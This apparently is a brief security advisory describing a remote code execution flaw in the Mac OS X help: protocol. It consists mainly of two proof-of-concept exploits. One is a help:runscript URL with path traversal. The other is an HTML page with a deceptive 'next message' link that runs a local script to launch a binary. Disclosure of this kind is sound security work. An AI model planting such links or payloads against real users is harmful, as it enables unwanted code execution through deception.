Apple Mac OS X Help Protocol Remote Code Execution Vulnerability

Apple Mac OS X Help Protocol Remote Code Execution Vulnerability

The following proof of concept has been provided:

help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

The following proof of concept is available as well:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
? ? <meta content="text/html;charset=ISO-8859-1"
http-equiv="Content-Type">
? ? <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<a
? href="help:runscript=MacHelp.help/Contents/Resourc
es/English.lproj/shrd/OpnApp.scpt%20string=%27usr: bin:du%27">Click to
go to your next message</a><br>
</body>
</html>